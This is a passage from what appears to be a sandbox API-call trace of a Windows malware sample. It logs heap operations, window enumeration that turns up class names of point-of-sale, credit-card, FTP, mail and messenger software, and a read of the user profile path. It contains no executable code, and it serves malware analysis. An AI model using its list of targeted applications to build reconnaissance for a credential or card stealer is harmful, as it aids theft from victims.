lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0133.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1370 | out: hHeap=0xe80000) returned 1 [0133.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0133.940] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0133.940] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0133.940] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0133.941] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0133.942] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13c0 | out: hHeap=0xe80000) returned 1 [0133.942] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0133.942] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0133.942] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0133.942] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0133.942] CharUpperBuffW (in: lpsz="AJJMOCPPKFEWODWKA", cchLength=0x11 | out: lpsz="AJJMOCPPKFEWODWKA") returned 0x11 [0133.942] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0133.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a48 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068038 [0133.943] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0133.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0133.943] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0133.943] CharUpperBuffW (in: lpsz="CLASS", cchLength=0x5 | out: lpsz="CLASS") returned 0x5 [0133.944] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 0 [0133.944] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0133.944] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0133.944] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.944] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.952] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.952] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.952] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.952] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.952] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.952] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.952] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.953] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0133.953] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0133.953] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.953] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0133.953] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0133.953] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.953] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.953] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.954] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0133.954] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.954] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0133.954] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0133.954] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.954] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0133.954] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.954] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0133.955] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0133.955] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.955] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.955] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.955] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0133.955] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.955] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0133.955] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0133.956] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0133.956] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0133.956] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0133.956] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0133.956] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0133.956] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0133.956] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0133.956] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0133.957] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0133.957] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0133.957] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0133.957] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0133.957] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0133.957] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0133.957] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0133.957] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0133.958] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0133.958] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0133.958] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0133.958] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0133.958] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0133.958] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0133.958] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0133.959] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0133.959] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0133.960] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0133.960] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0133.960] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0133.960] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0133.960] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0133.960] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0133.961] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0133.961] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0133.961] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0133.961] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0133.961] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0133.961] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0133.961] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0133.961] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0133.962] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0133.962] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0133.962] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0133.962] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0133.962] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0133.962] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0133.962] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0133.962] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0133.963] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0133.963] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0133.963] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0133.963] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0133.963] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0133.963] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0133.963] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0133.963] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0133.964] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0133.964] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0133.964] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0133.964] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0133.964] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0133.964] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.964] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0133.964] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0133.965] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.965] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.965] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0133.965] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.965] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0133.965] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0133.965] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0133.966] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.966] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.966] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.966] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0133.966] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.966] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0133.966] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.966] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0133.967] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0133.967] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.967] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0133.967] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.967] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.967] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0133.967] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0133.967] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0133.968] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0133.968] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.968] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0133.968] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.968] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.968] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.968] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.969] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0133.969] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0133.969] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0133.969] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0133.969] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0133.969] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0133.969] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0133.969] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdec40, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0133.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1370 [0133.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf258 [0133.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1708 [0133.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe8cae0 | out: hHeap=0xe80000) returned 1 [0133.970] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0133.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0133.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0133.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015640 [0133.971] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015640 | out: hHeap=0xe80000) returned 1 [0133.972] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068038 | out: hHeap=0xe80000) returned 1 [0133.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0133.972] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0133.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xefc430 [0133.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0133.972] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xbdf340, nSize=0x104 | out: lpBuffer="") returned 0x15 [0133.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0133.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0133.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf298 [0133.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0133.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0133.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0133.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0133.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0x1048538 [0133.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0133.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0133.974] HeapFree (in: 